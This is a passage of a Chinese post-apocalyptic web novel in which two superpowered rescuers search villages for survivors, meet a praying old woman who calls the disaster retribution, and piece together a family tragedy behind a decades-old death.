陆燃顿了一下：“这边。” 他抬腿跳下车，沿着银色细线朝一间黄土抹的砖房走去，江朗就跟在他身后。 他拉了下砖房的门，没开。 触感很微妙，不完全是被从里面锁住了的效果，他仔细看了眼，门缝里塞满了报纸，而且他使劲摇晃一下，能感受到门对面抵着重物，他又侧头看了眼窗户，用胶水糊得明明白白。 很好，很优秀的防范意识。 大概是他推门的动静引起了里面的人的注意，里面传来了窸窸窣窣的动静和含混的人声。 那声音很小，陆燃和江朗靠着自己异化过的听觉才听清了里面的动静——一个极低的，属于老人的声音在不停嘟囔着什么。 但是陆燃很困惑，因为他一个字都听不懂。 是方言吗？ 他这么想着，顺手拿刀劈开了窗户——门被堵太死，窗户这边比较方便处理。 他没有那种照顾对方心理的心理，虽然知道这么做肯定会吓到里面的人，但还是赶时间要紧，今天要把这一片地区全处理了。 他做好了被攻击的准备，技能已经捏在手里，随时准备放出去控制对方——然后让江朗解释现状。 不过，他的准备白做了。 因为被胶水和报纸糊得严严实实的窗户破碎后，出现在窗户后面的，并不是他们所想的惊恐面对入侵者的幸存者。 而是一个安静跪在神龛前的头发花白的背影。 从他们的视角看去，可以看见对方的嘴唇在不停地蠕动着。 而他们一开始没听懂甚至误以为是方言的声音，现在倒是好理解了，原来是经文。 比树皮更干枯的手掌里，一串念珠正在不停旋转。 她膝盖下是一个小小的软垫，上面还有几块补丁，针脚并不细密，大概是年纪大了做针线活就更费劲。 头发不止是花白，而是纯粹的银白，目测八十岁以上。 她面前的神龛上点着三炷香，香的味道充斥着整座屋子。 再看向旁边的桌子，桌上一堆白面馒头，还有几包榨菜，别的就没有了。 江朗有些庆幸陆燃的精神链接已经过了时效，否则他进来的时候真不好从对方彻底浑浊的双眼中判断她是否还活着…… 现在至少能听见她的呼吸声，看见她嘴唇微不可察的蠕动，和她手上念珠的不停翻转。 他的第二反应是……这个老奶奶好淡定，不管是陆燃总是吓人一跳的精神链接控制效果，还是他们破窗而入的“强盗”行为，还是什么……总之，什么都没影响到对方认认真真地跪在神龛前念着经。 一时间，两个人都有点因为预期错配而失去了语言能力。 好一会儿，江朗才转过头来和陆燃大眼瞪小眼，然后他又转了过去： “奶奶……奶奶……您看得见我们吗？” “我们是来救你的。” 那双浑浊的眼球转过来面向他们： “看得见。看得见。” 江朗松了口气： “您跟我们走呗，现在所有人都在Q市那边一个小区，去了就安全了。” “我不走。我不走……” 江朗：“我们不是骗子，是真的很安全，而且人很多，您去了之后还能跟人说说话……” “知道你们是好人，我不去……我不去了……” 江朗彻底懵了。 他原本还以为对方抗拒的原因可能是不信任他们这两个陌生人，但是看上去对方完全没觉得他们有威胁……现在该怎么办？ 他无助地看向了陆燃。 陆燃用眼神示意他——看我干啥，和人交涉是你的活。 他其实很想说她不愿意就算了，他们再帮她把窗户补好……然后留点物资，其实也不是不可以，他们以前在C市不就是这么操作的吗？顶多就是不能期待这位老奶奶能主动向外寻找食物，所以得多留点物资的区别而已。 不过……这些想法在他脑子里转完一整圈之后，他还是顺着江朗的话说了下去： “奶奶，现在这边很危险，现在外面到处都是怪物……您一个人住在这里的话不安全。” “怪物？” “对，怪物。” 这个对话，有那么一瞬间让陆燃感到很奇怪。 她本来就该知道外面有怪物才对，不然她把这间屋子锁得那么紧密做什么呢？ “不是怪物啊……可不是怪物。” 江朗也一懵，下意识问出：“不是怪物那是什么？” 老奶奶看了眼神龛上肃穆的神像，露出了一个堪称诡异的微笑：“是报应啊。” 她的语气很平静，声音却因为年纪而不可避免的有些含混，她幽幽说出“报应”两个字，江朗便感到鸡皮疙瘩爬上了他的手臂。 他打了个哆嗦：“什，什么报应？” 这下再问，奶奶却什么都不肯说了。 江朗和陆燃互相看了一眼。 江朗：“那，那我们帮您把窗户补上？刚刚进来的时候有些急，您别见怪。” 奶奶这才反应过来，看向那扇已经破了的窗。 她眼中闪过一丝晃然，然后说： “不，不用了……放着吧，就这样放着吧。” 江朗不知道该说啥地看向陆燃。 陆燃耸了耸肩，没多说话，就上去给拿手比划了一下窗户大小，从背包里掏出一块差不多大的木板：“待会儿走的时候从外面钉一下就可以了。” 江朗瞬间松了口气：“好好好。” 然后他翻了翻他的背包，从包里找了点食物和水出来，他怕奶奶不会操作自热火锅，别待会儿吃个自热锅把自己烫伤了，所以翻出来的都是开袋即食的东西。 奶奶在陆燃说要钉窗户的时候没有反应，在江朗往外掏食物的时候却突然转了过来说：“不用了。” “什么？” “不用给我留，给别人吃吧，我用不上。” 江朗眨了眨眼睛，虽然他很了解这一辈的爷爷奶奶都节省得过分，他自己的奶奶还活着的时候就这样，他们家不缺钱，但是奶奶节省惯了，如果不是他一定要和她一块吃饭的话，她其实更习惯顿顿吃剩饭，完全因为江朗拿自己的伙食“绑架”了她，她才稍微吃得好点。 所以江朗其实是对对方的节省程度有所预估的，但是再节省，就桌子上这几个馒头，这也不够再吃几天的啊…… 他小心翼翼地把东西放下，阿婆却突然生气了：“我让你拿走……放这里……我也不会吃的。” 江朗：“……” 他求助地看向陆燃：这咋办呢？ 被救援人员太不配合了啊…… 陆燃朝他打了个手势，示意他出去再说。 两个人于是又从狭小的窗户里翻了出去，从外面给婆婆把窗户钉好，然后往车的方向走去。 走出一段距离后，江朗忍不住开口了，他一边抹着胳膊一边说： “你说这个报应是指的什么？我怎么感觉怪凉嗖嗖的。” 陆燃：“不知道，但是哪里都有值得被报应而且只能期待报应的事，无非就那么些事。” 江朗听他一说：“还真是。” 顺间不凉飕飕的了。 “那现在咋办？我们去找这个报应，然后解开阿婆的心结，然后也许她就会愿意跟我们走了？” “差不多吧，也不用太着急，反正明天也是走这段路线过来，她撑几天肯定是没问题的，今天就先别再这里耗着，先去把其他地方跑了把该救的人救一下。” “行。” 陆燃拍板了，江朗安心了。 但因了这个插曲，之后杀污染物的时候，江朗总是多多少少有点犹豫，想着会不会杀到什么关键线索。 不过又一想，就算有线索又能咋样呢，总不能逼已经失去意识的污染物开口吧，还是安心送它们上路算了。 于是念咒语的速度便又快了起来。 除了这个阿婆以外，这座小小镇上，还有好几个幸存者，他们顺利地把他们救了出来，被救的人都很正常，一个个是千恩万谢，感谢陆燃江朗，也感谢上苍——可终于见到活人了！ 一个个的就差涕泪横流了，陆燃和江朗这次完全没有那种毛骨悚然地仿佛踏入另一个世界一般的虚幻感了。 被救的总共两个中年人两个年轻人一个老年人，精神头都不错，不过，加上刚刚车里的两个人，现在总共有七个幸存者了，他们的车是双排的，装不下了，江朗和陆燃讨论了一下。 “不然我先在这镇上找辆车把他们带回去然后我一会儿再过来？” 陆燃点了点头，并无不可。 其实他们分散行动就是更有效率的行为，陆燃的的攻击技能虽然在城市里显得过少，但是在这种走半天才有一个幸存者几个污染物的低密度环境中，只有一个攻击技能都够用了，江朗和他分散行动才是效率最大化，只是他们更习惯共进退而已。 江朗在镇上找了半天，逛了车库，洗车行，修车的店，最后在修车店里找到了辆修好的改装三轮。 他把三轮推了出来，示意大家上车。 刚被救出来的幸存者们一时间颇有些大眼瞪小眼的意思，这三轮……是不是太漏风了。 总感觉很不安全啊…… 毕竟末日那天的景象还历历在目，总感觉坐上这种四面透风的交通工具是一种找死的行为。 但是那个年轻人一脸笑容双眼亮晶晶地看着他们的样子，又让他们很难把这个问题问出口。 最后，几个人咬了咬牙，挤上了这辆改装三轮。 他们看过这两个年轻人是怎么暴力轰杀那些恐怖的怪物的，当然要趁着人家还愿意救人赶紧坐上逃离的车！ 哪怕这辆逃离的车是三轮……魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 第 71 章 交通工具上的对话 江朗开着改装三轮突突突地就走了, 陆燃则继续向前。 搜索了半天，终于又搜索到了一个一个幸存者。 他研究了一下这个独栋平房的钢质大门的锁是怎么开的，最后选择放弃, 从墙上翻了进去。 里面的门锁就就好开多了。 他来到房内，沿着银色细线方向走上楼, 踹开了卧室房门, 然后在衣柜里找到了抱着薯片桶瑟瑟发抖幸存者。 那是一个从头油到夹克的中年男人。 看见陆燃出现，眼中同时爆发出了惊恐与“终于看见活人了！”的激动。 眼看着陆燃随手一个心灵震荡杀死了门外正要扑来的怪物，他眼中的惊恐与激动全都化作了欣喜的泪水。 “大侠！！！” 陆燃被他一声吼吼得瞳孔一震：？ “大侠啊！我就说这年头还有行侠仗义的人啊！大侠你行行好带我走吧！” 陆燃：……如果不是为了带他走，他进来是干嘛的？ 脑内闪过了无数吐槽, 但最后憋出来的还是只有一句：“安静点。” 中年武侠爱好者男猛地捂住了嘴巴, 疯狂摇头, 示意自己很听话。 杀气！这就是杀气啊！ 他瑟缩地从衣柜里钻出来, 小心翼翼地跟在陆燃身后，看着他一路攻击着污染物下了楼梯。 “开门。” 陆燃指指对方这栋小平房的钢制大门, 示意他把这个复杂的锁开了。 中年男光速开了门。 “上车。” 陆燃指指门外的越野车, 示意对方进后座。 中年男眼泪汪汪地转过头来，刚要抒发一通自己存活下来了的喜悦和对大侠行侠仗义的感激与赞颂, 就被陆燃一个眼刀又憋了回去。 他老老实实捂住嘴, 上了车，缩在后座一个角落, 紧张畏缩中还忍不住含了一丝兴奋—— 好高冷的大侠……太符合他对武侠小说的想象了！ 陆燃继续向前开。 很长一段时间里, 完全没有看见任何幸存者的光点。 江朗不在, 陆燃也懒得清理污染物, 他就这么两个能攻击的技能，算了，只横冲直撞地从污染物上撞了过去。 中年男在后座憋了十几分钟, 终于忍不住了，探头探脑地扒到了副驾座位后面。 “大侠，你是打算把这附近的活人全救了吗？” 陆燃抬头看了眼上方的后视镜，深知，对于一个话痨来说，一个“嗯”字就已经是足够的回应，可能立刻开启他的长篇大论模式，于是他一个音节都没有发出，继续开车。 中年男对这完全的冷漠有些无所适从，他一时间都有点怀疑他刚刚这么点时间是不是变成透明人了。 不过想要说话的欲望还是盖过了社交尴尬，于是他忍不住又问：“大侠……你这些细线……” 他话说到一半，陆燃猛地将车往左边偏了点，精准地开上了一条全是黄土配石子的不知道是压根没修还是修了又拆了的路。 于是中年男那剩下半句“是用来做什么的”彻底卡在了嗓子眼，因为他坐后排忘记记安全带了，猛地一下从座位上弹跳了起来，颠簸得眼冒金星，也顾不上搭话了，紧紧拽住扶手缩成了一团。 好的！大侠不想说话！他理解了！他真的理解了！没必要用这么极端的手段的！. 时间稍稍回调一些。 “来，上车吧。” 江朗朝众人挥挥手，示意他们赶紧上来。 三轮车是那种运货三轮车，两边有木板，刚好可以给人坐，七个人分两边排排坐差不多刚好，顶多有点挤。 江朗发动三轮车，不得不说，这比较偏僻的地方，车辆的改装就是比较踩线，这动静，知道的知道他在开三轮车，不知道还以为他在开拖拉机呢。 幸好真开起来之后动静也没那么拖拉机了。 平稳上路后，江朗忍不住回头和他们聊天，就连聊天话题都是现成的： “你们有人认识祠堂旁边那家的阿婆吗？” 阿婆住的屋子旁边应该就是村里的祠堂，他还挺熟悉这种建筑的。 “认识啊！” 一个小伙子光速回答，他肤色黝黑眼睛明亮，一看就有股子机灵劲。 “那我有个问题想问下，就是我们想带那个阿婆出来，但是阿婆说外面的情况是报应，你们知道她说的这个报应是指什么吗？” 说实话，江朗已经做好了他这问题一出后面的人全沉默了的准备。 就刚刚那么点时间，他已经脑补了一大堆东西了，可能阿婆经历过什么事情，然后整村人在她眼里都是帮凶，所以她在期待天降灾害把全村人都送走，然后村子里的人会在他想打听这件事的时候支支吾吾试图将当年的事含混过去因为谁也不愿提起这段丢人的往事云云。 之类的。 所以他没想到，他这个问题刚问出来，就立刻被积极地回答了： “哦我知道我知道！！” 那小伙子立刻抢答： “不过我们全村人应该都知道，这事儿当年还挺轰动的。” 江朗很努力地想要把头扭过来听八卦，想了想还是安全至上，只是身体稍稍往后倾，试图听得更清楚一点。 “那是二十多年前的事了，王家阿婆呢有两个儿子，小儿子不太聪明，一直被她带在身边，大儿子就活络很多了。” “那会儿大家都很穷很穷嘛，然后这个大儿子也是比较有心气，而且有责任心，觉得家里爹死得早，那他就是一家之主了，不管是寡母还是这个不太聪明的弟弟，他都得让他们过上好日子，然后他就出去打拼了嘛。” “别说，他还真的闯出了点名头，因为是很久以前的事情了，我也不知道他具体是做什么生意的，反正回来的时候就是大老板了。” “哦哟呵，那豪车开进村口的时候，整个村的人都出来围观了。” “什么车来着我忘了？” 小伙子转头看向那两个中年人，两个人齐齐摇头。 好吧，在这个故事里，豪车的牌子是最无关紧要的一个细节，重点只是那种衣锦还乡时刻的震撼感。 “嗯嗯这不重要，反正就他当了大老板回来了，然后那时候他就给家里这房子推倒重建了。” “这个我记得。”那个中年男人突然插嘴，他看上去三十多岁的年纪，估计二十多年前还是个孩子，“那会儿全村的人都去帮忙了，因为王叔发红包很大方，而且管饭，饭特别好吃，我还蹭了好几顿，就记得那红烧肉了。” “对对。”旁边的中年女人显然也被勾起了回忆：“好像是说老板从市里请回来的厨师，专门给帮忙建房子的人做饭吃，真的好吃，我后面就没有再吃到过那么好吃的菜！” 江朗眼看着话题就要转向当年那顿大桌饭有多好吃了，连忙回头真诚地看向那个年轻小伙：“然后呢？” “然后啊，反正就王家建起了大房子，大家都很羡慕呗，但是有羡慕的人就有嫉妒的人。” 小伙显然已经把自己代入了说书人的角色，一脸感慨一脸回忆，哪怕这所有的事情都发生在他尚未出生的时刻。 “但是那些嫉妒的人当时还没有表露出来。” “王家大儿子是个顾家的人，也顾念家乡，发财了第一件事就是给村里修路通到外面，你现在开的这条路，就是他当时出钱修的。” “村里的人也又多了一次吃开工饭的机会。” “然后他说要带着大家一起发财，就领着几个人一起出去做生意了。” “那几个人呢，我听说我叔叔说是这样的，他们被王家大儿子带出去之后，就发现，他这生意也没什么难度嘛，无非就是他有拿到货的渠道，但是现在他们也认识了拿货渠道啊，于是他们就很不甘心，想单干。” “但是想当着王家大儿子的面暗度陈仓哪有那么容易，于是他们就起了坏心。” 小伙越说越起劲，说到这里已经拍上了大腿。 江朗也干脆停了这三轮车，转过头来听他说：“然后呢？” “然后？然后就是悲剧啊！” “那年春节，他们一起回家过年，一群人聚在一起喝酒吃菜，然后就在这年夜饭晚上，王家大儿子就死了。” “脑袋上好长一道疤，那群人非说他是自己喝醉了摔了，我呸，谁信啊？王家大儿子死了之后他们就接手了他的所有生意，而且他们就一个个去大城市发达了。” “呵呵，估计是不敢回来吧。” 小伙说到这里面露鄙夷之色，其他几人也露出了满脸不平，显然是很为当年这桩案子不满。 江朗听完也颇有些难过，他最怕听这种好人没好报，祸害反倒遗千年的故事了。 不过话又说回来，如果阿婆是因为这个原因才觉得外头的异变是报应的话，他倒是想到了该怎么把阿婆劝出来劝到海岸小区去。 他可以回去问问张老师有没有救到过这几个人心不足恩将仇报的白眼狼，如果有的话，就跟阿婆说你的仇人还在外面，要支棱起来去给他们添堵啊！ 如果没有的话，就跟阿婆说坏人真的遭报应了，但不是在这里，而是在Q市，快一起来看吧！ 江朗思来想去，越想越觉得自己想得很有道理。 感觉已经能看到带着阿婆前往Q市的画面了。 不错不错。 第72章 第 72 章 种植系异能 “突突突突突——” “突突突突突——” 江朗将七位幸存者运回海岸小区后, 又突突突地开着三轮车回来了。 他觉得可能是燃油快没了，所以这辆改装三轮车开始冒黑烟，他停下车, 给它加了点油，然后接着沿着他和陆燃原本决定好的方向前行。 这来回一趟, 陆燃早把他们的越野车开到不知道多前面去了。 他漫无目标地前进着, 终于！再次看到了他们的车！ 陆燃正从车边一栋楼里走出来，也不知道是他远远地就听见了江朗这震天响的三轮动静，还是感知到了江朗的视线，他突然停住了脚步, 然后朝江朗这边望了过来。 江朗猛地旋紧了三轮车的握把, 加速朝前冲去！ “陆燃！” 他兴奋地跳下车。 “怎么样？救了几个了？” “一个。”陆燃简单地回答, “之前可能是撞上了运气好的地方。” 江朗倒也不失望, 好奇地从车窗朝内看去。 他看见了一个瑟缩地蜷缩在车子后座边缘的中年男人——大概是刚被解救出来，还在后怕吧。 他这样想着, 拉开了车门, 试图安慰一下对方。 “你好——” 他还没来得及说后半句话，就看见对方眼中冒出了一种极端的喜悦。 “你好你好你好！” 这个被陆燃强行关上了说话阀门的幸存者就跟被开了闸的大坝一样吐出了一段话： “啊不, 您好您好您好！您是跟这位大侠认识吗？您也是大侠吗？看您的风姿, 就一定也是大侠啊！对了您能不能帮我向这位大侠转达一下我对他的感激，大侠好像不爱听我说话……总之救命之恩！没齿难忘！ 江朗一时间大脑有些宕机, 他看着面前在车后座上凹出了一个单膝跪地, 双手抱拳的姿势的中年男人, 一时间……幻视了当初那个说要拜师的宅男。 可是, 至少那宅男还在中二病年纪许可区，这位看着都可以当他和陆燃的叔叔了，居然还如此中二……挺好……挺好…… “呃……呃……好？陆燃, 他说谢谢你？” 江朗转头对陆燃说话的时候，突然发现陆燃眼中闪过了一丝不赞成和微妙的幸灾乐祸，他心中直呼不好！ 但是已经太晚了！ 中年中二武侠迷男在历经了陆燃绝对防御的“冷暴力”后，更不用说他之前整整憋了一个多月没法和人说话，别说他本来就是话痨，就算不是话痨现在也变话痨了！ 而现在，他终于！历经千辛万苦！遇到了一个愿意搭他话的人！ 江朗这简简单单一句话不是单纯的一句话啊！而是闪着圣光的救赎！ 他彻底打开了话匣子，猛地朝前挪了两个身位，激动地拉着江朗开始说起话来。 先是说他有多感激陆燃的出手相救，还有陆燃的姿态有多么像他曾经看过的那么那么多冷酷的，冷峻的，背负着血海深仇的独自行走在江湖上谁也不搭理的大侠们。 “他没有什么背负的苦海深仇啦……” 江朗在晕晕乎乎之间忍不住补充了一句。 中年武侠迷男猛地拍了一下手：“那更好了！太酷了！果然冷冷的大侠们天生就冷啊！” 由于他双手间的真空过大，江朗猛地被震得脑壳一疼——他现在的感官强度真受不了这种近距离的空气震动！ 接下来他吸取了教训，无论对方说什么，他都一句话不搭了…… 但即使是这样，也太晚了，哪怕不需要任何人的回答，中年男也激动地讲述了自己的求生经历，对这世界咋就变成这样了呢的迷茫，还有对他们俩的无限崇拜。 尤其是当陆燃回头示意江朗清理这片区域的时候，江朗的湮灭之环从天而降清理了这片区域的全部污染物时，中年男人眼中的崇拜就差化作实体了。 他以一种，近乎狂热的态度，从各个角度解读了江朗这个技能酷在哪里。 江朗：……谢谢，这个技能我们秘术师人均一套的。 他一边走一边努力把对方的声音过滤成白噪音。 并且一万遍后悔自己怎么就没事做非要说那句“你好”呢？ 就在他第n次试图把对方的声音滤成噪音但失败后，陆燃突然转过了身。 神色严肃。 “有人。” 江朗：！ 转眼间，陆燃和江朗几乎是冲刺向前。 中年男人一时有些惊慌，这里可是光秃秃的地表啊！没房顶的！完全暴.露在那些怪物眼皮子底下啊！ 虽然刚刚那位大侠走过来的时候就顺手清理了一波怪物，但是前面他可没清理过。 他惊慌失措地努力迈起了腿——可不敢离两位大侠太远！ 真跑起来他就老实了。 毕竟已经人到中年，而且就算他还没到中年的时候，也不是什么运动健将，要跟上前面这俩二十来岁的半大小伙，还是被异能和游戏系统强化过身体素质的两个小伙，简直就是……折磨啊！ 他吭哧吭哧吭哧地迈开短腿努力奔跑着，期间不停地在脑海中捶胸顿足——他怎么之前就不锻炼一下呢？！ 差点眼冒金星的时候，他看见前方两人停了下来，终于长舒了一口气，但最后这几米路也不敢真的慢慢走，艰难地跑到了他们身后。 江朗随时准备着攻击，但身体姿态上的防御与警觉不妨碍脸上的轻松，他左顾右盼了一下，转头问陆燃：“哪家？” 陆燃却慢悠悠地来了一句： “哦，原来是我弄错了。” 江朗一懵，大脑差点宕机：“啊？你怎么可能出……” 然后他突然悟了。 他看了眼后面刚刚赶上来，累得直喘气，一手撑腰一手擦汗的中年话痨大叔。 ……！ 原来如此！ 还是陆燃有办法啊！ 但他还没来得及埋怨一番你咋不早让他闭嘴，陆燃就又开口了：“有人。” 江朗正怜悯地看着眼气喘吁吁到像是要把肺咳出来的大叔，想偷偷说算了算了，差不多了，他看起来一时半会儿是说不了话了……就听见了陆燃的下一句： “光点很亮，应该是高级异能者。” 江朗的神色立刻严肃了起来。 他之所以严肃，并不是高级异能者会意味着他们会有什么战斗上的压力，而是因为通常来说，高级异能者更倾向于自己行动，对他们的帮助也会更警觉，也更抗拒一点。 不一定能说服对方他们是来救人的，没准见面就打起来了。 不过问题不大，如果对方不信任他们，那陆燃就控到他信任他们为止——通常来说都很有效，再警惕的人，被陆燃连续控制十来秒又不被攻击都会平静下来了，毕竟这既展示了威慑又展示了他们不想攻击。 “啊？还跑？”大叔本来不想说话的，他感觉自己嗓子都快冒烟了，而且他真就一个多月没挪窝了啊……除了刚进末日那会儿被变异蟑螂吓了个半死，潜力大爆发一跳三米高给这蟑螂砸死了以外，这一个多月他就没怎么动过了，如果他的手机还能用的话，大概每天步数不会超过30步，而且就算是末日以前，他也不是个多爱动弹的人，这一段百米冲刺下来，他是真的有点扛不住了，嗓子别说冒烟了，感觉就差冒血了，所以哪怕嗓子冒烟，他也要大声喊出这句—— “还跑？？” 江朗再一次怜悯地瞅了他一眼，感觉他确实喘不上气来了——这短短两个字加一个拟声词，被他喊出了一种近乎声嘶力竭的悲壮之感。 但是怜悯不能当饭吃，现在真的有人在等着他们，他只能在心中默默地说道—— 叔，再坚持一下！你可以的！ 然后转身就跟着陆燃一块朝前方一栋独栋的小屋冲去了。 绝望的中年话痨大叔：“……” 他就是腿贱非要下车！早一直待在车上的话不就不用这么……这么热爱运动了吗？！ “呼——呼——呼——” 他眼冒金星地紧跟着视野内两团模糊的身影，好不容易停下的时候，他感觉自己已经彻底成了个大型风箱。 他拿手撑着墙，艰辛地等待着他眼前模糊的景象重新恢复到高清分辨率。 然后他就看见—— 我靠！谁家啊？！过得这么好！ 出现在三人眼前的，是一栋末日前应该很普通的小屋，村里随处可见的那种，但是在末日里却很罕见。 因为它的前院里密密麻麻种了一排菜。 一排青翠欲滴的，毫无污染痕迹的菜。 看不出品种，不太像以前菜市场上会卖的菜，但无一例外个头大水分足，看着就很好吃，甚至前院还有一棵看不出种类的果树，上面挂着一样不认识但看起来很好吃的果子。 陆燃和江朗对视一眼——住在这里的人应该是觉醒了植物系异能 看来完全不需要他们救了。 可以尝试交涉一下，如果对方愿意加入海岸小区，那么海岸小区大概即将迎来新鲜蔬菜自由。 陆燃的精神链接效果还未过去，他主动解除了技能。 然后看向了江朗。 江朗懂，这是要他上场的意思了，陆燃不爱和人说话，而且他少数和人说话的那些时候，还很容易被人误解为是来找茬或者对对方毫无兴趣的，这种交涉的活一直都是他来做的。 “咚咚咚。” 江朗走上前，礼貌敲门。 “您好，有人在家吗？我们是附近Q市的异能者，来这边清理污染物并且搜救幸存者的。” 陆燃听见里面传来了一阵越来越近的脚步声。 门“吱呀”一声开了，出现在门后的，是一个发丝半白，拄着拐杖，但看起来精神矍铄的老人。 “你们好。” 那一瞬间，门外三个人有种被书香气洗刷了的感觉。 该怎么形容呢，这老先生长了一张会在学校里当文史教授的脸。 如果说陆燃的长相是精致且一看就是聪明的理科生，那么这个老先生的长相就是精致且一看就是文科生。 “刚刚突然动不了了，那是你们搜救的手段之一吗？” 老先生眼中略有些戏谑，江朗立刻露出了一个不太好意思的表情，挠了挠头，做足了调皮捣蛋学生被抓了个正着的模样。 于是这原本可能酝酿出冲突的矛盾就这么消弭于无形了。 第73章 第 73 章 坟山行（上） “是的……如果给您造成了不便的话我们真的非常抱歉……” “没事。” 老先生笑了笑：“如果你们真想做什么的话？也不必敲门了。” 他拉开门, 示意三人进来，一边问： “现在外面是什么情况？” “是所有地方都变成这样了吗？还是说只是我们这片地方？” 江朗：“所有地方。” 老先生叹了口气，沉默了一会儿才说：“没别的好招待, 我去摘几个瓜。” 陆燃和江朗恭敬不如从命。 啃了一个多月奇形怪状食物的绝望大叔更是就差两眼放光了。 陆燃和江朗也没真把自己当饭来张口的客人，两个人的基础礼貌还没下线, 跟着老先生走到他那棵果树旁, 准备帮忙一起摘瓜。 虽然陆燃觉得这个果子看上去更像苹果之类的，怎么看也不能叫瓜，但是既然主人叫它瓜，那它就是瓜吧。 老先生手脚都不太方便, 有年轻人愿意帮忙, 他当然也不会拒绝, 他指了几个他觉得不错的瓜, 陆燃就摘了下来。 回到屋内后，陆燃找了下水果刀在哪, 然后把这些红色水果全劈成了四瓣, 然后和江朗一起把瓜端了出去。 别说，真的很好吃, 又甜又脆又确实有种“瓜的感觉”。 桌对面的绝望中年武侠迷大叔更是已经就差把头埋在盘子里了。 江朗一边啃水果一边给老先生介绍外面的情况。 简单介绍了一下海岸小区的建成史, 重点描绘了一下张老师的愿景，然后介绍了一下他们两个在小区负责的工作——嗯, 就是出来救人。 “天地有正气, 杂然赋流形……时穷节乃见啊。” 江朗当场大脑有点宕机, 第一句他还听得懂, 从第二句还是，他的脸上就渐渐爬上了茫然的神情。 作为一个理科生，他能在纸上看见诗的时候知道是什么意思就已经不错了, 这样被人当面读了一句诗出来，他一瞬间大脑一片空白。 字音是进了他脑子的，但是完全没法在他脑内转换成有形状的字，他只感觉自己被强塞了一段乱码。 倒是爱看武侠小说的绝望大叔瞬间激动了过来：“是啊！是啊！这两位就是当代侠之大者啊！” 江朗：“……” 陆燃：“……” 江朗很努力地转了一下脑子，试图翻译那段乱码，没转过来，遂将话题强行切入正轨：“是这样的，现在所有的幸存者都在Q市的海岸小区，老先生你要不要也来一起？多少有人作伴。” 他觉得这个他的切入角度很合理，虽然对方拥有罕见的可以吃的植物系（食物系？）异能，在末世几乎没有生存压力，但是一般对这个年纪的老人来说，有人作伴是他们更关注的焦点。 但坐在桌子对面的老先生却笑着摇了摇头：“你们以为我为什么搬到这么偏僻的地方来住？” 还真是，这老先生住的地方，在这个村子里都属于偏僻了，如果说其他房子只能说是一种正常的稀疏，甚至偶有几座特别相邻的，那么这位老先生住的地方就是独树一帜的“独”。 而且他的气质，一开始就让江朗和陆燃第一反应是他是什么文史类的教授，穿着看上去也更像老派知识分子，现在想来……可能对方是选在这里“隐居”？ 犹豫了一下，江朗还是选择再劝说一次：“但是您一个人住在这里，安全很难保障，来我们小区的话，至少我们会尽量保证您的安全。” 老先生又笑了：“你觉得我本来还有几年好活呢？” 江朗：“您看上去还挺精神的……” 老先生：“可能是因为觉醒了这个不知道什么能力的缘故吧，我本来是得了癌症，就想着找个偏僻地方死掉算了，现在的每一天，都相当于是我赚来的，能活一天算一天就挺好的。” 江朗：“原来如此……那就还是尊重您自己的意愿优先。” 江朗和陆燃对视了一眼，见陆燃也同意放弃，便放下了脑子端起了瓜，埋头开始猛吃。 他们仨吃完红瓜，跟不愿离开的老先生道了别，又搜寻了一下其他地方有没有幸存者，又找到一个人，而且还是觉醒了异能的，便决定打道回府。 天已经太晚了，这里离河镇还有一定距离，就算他们不顾时间地赶路，也不一定能赶到河镇，还是明天再来吧。 绝望的中年大叔在寒冷的夜风中终于等来了归程的信号，感动的泪水直从脸上往下流。 而且终于有个和他同病相连的刚被救出来的小伙可以说话了，虽然对方好像不是很乐意和他说话，他的搭话只迎来了轻蔑的一瞥。 好吧，那算了。 不过他还是忍不住在心底吐槽，这哥们在装什么啊，两位大侠实力不知道比你高到哪里去了，都没你这么眼高于顶。 江朗回来了，于是陆燃将驾驶座和方向盘重新交给了他，自己在副驾普通地系上了安全带。 红色的越野车在漆黑的夜里飞速前行。 原路返回时，看见那个熟悉的镇子，江朗才猛地想起来了自己原本要跟陆燃说什么。 他快速地将自己在三轮车上打听来的信息（听来的八卦）向陆燃复述了一遍。 “……总之，大概就是这么个事。” 江朗好不容易把事情全讲完，把乡亲们的态度，和他自己的想法也讲了一遍，已经口干舌燥，随手拿起矿泉水喝了口后问道： “所以你觉得呢？我们回程的时候要不要顺便去问问阿婆？不过这个点她可能已经睡了吧……也许回去问问张老师有没有救到过那几个人然后明天再来好像也一样。” 江朗絮絮叨叨地说完，扭头看向陆燃：“你觉得呢？” 却看见陆燃陷入了思考中。 江朗回忆了一下他说的内容，他有说任何值得陆燃思考的话吗？他怎么觉得没有呢…… 他思考了十来秒，陆燃开口说话了：“这个人的叙述里，有这么几点让我觉得奇怪的地方。” 江朗伸长了脖子：“哪里？” “第一，如果这些人想害王家大儿子的话，为什么为什么非要回到村里再害，那时候的人都很在乎自己在村子里的名声，而且回来伪装成意外也更困难，毕竟王家大儿子的亲人就在这里，怎么想都觉得应该比在外面处理了他更麻烦吧？” “第二，也就是你觉得可以劝她去Q市的一点——杀死了王家大儿子的人都在外面，都在Q市当老板，那么她怎么会觉得村里突发灾害是一种报应呢？” “包括刚刚遇见的老先生在内，其实我们遇到的大部分幸存者，都会抱有一丝侥幸心理，会问这个情况是单他们这有还是到处都是这样的？” “所以我觉得我们可以假定阿婆她的第一反应也是只有村子里变成了这样，我们来救她说明外界可能还算有希望。” “那么她的第一反应依旧是这是报应。” “这其实就会让人很困惑。” “而且她不肯走，这个举动基本有一种自我赎罪感，我很大概率确定她口中的报应是指，这是对她自己的报应，而这几点都是和这个人的叙述对不上的。” 江朗在方向盘上敲了敲：“好像确实哦……但是如果像你说的这样，阿婆不肯走是因为她觉得这是她自己的报应的话，也就是说你觉得是她害了她自己的儿子吗？” “但是怎么可能呢？这可是她儿子啊！而且还是个很孝顺，又义气，听起来完全挑不出错的儿子。” “值得她维护，又值得她赎罪的，可不止她一个人。” “啊？” 江朗迷茫了一下：“什么意思？” 陆燃：“你别忘了，她还有个小儿子。” 江朗沉默了。 他一瞬间懂了，但陆燃反而在最不需要解释的地方，继续说了下去： “从那个人的叙述中可以听出来，阿婆和她大儿子，应该都是偏疼这个小儿子的，既然被说出不太聪明，以农村人的委婉程度来看，其实估计就是指的这个小儿子有一定的智力问题，心智大概率也一直停留在孩童时期。” “没法衡量大哥带来的好处，只知道自己原本拥有的属于母亲的关心和关注都被大哥分走了。” “再加上一定的嫉妒心理，就很有可能酿成一桩惨剧。” 江朗沉默了。 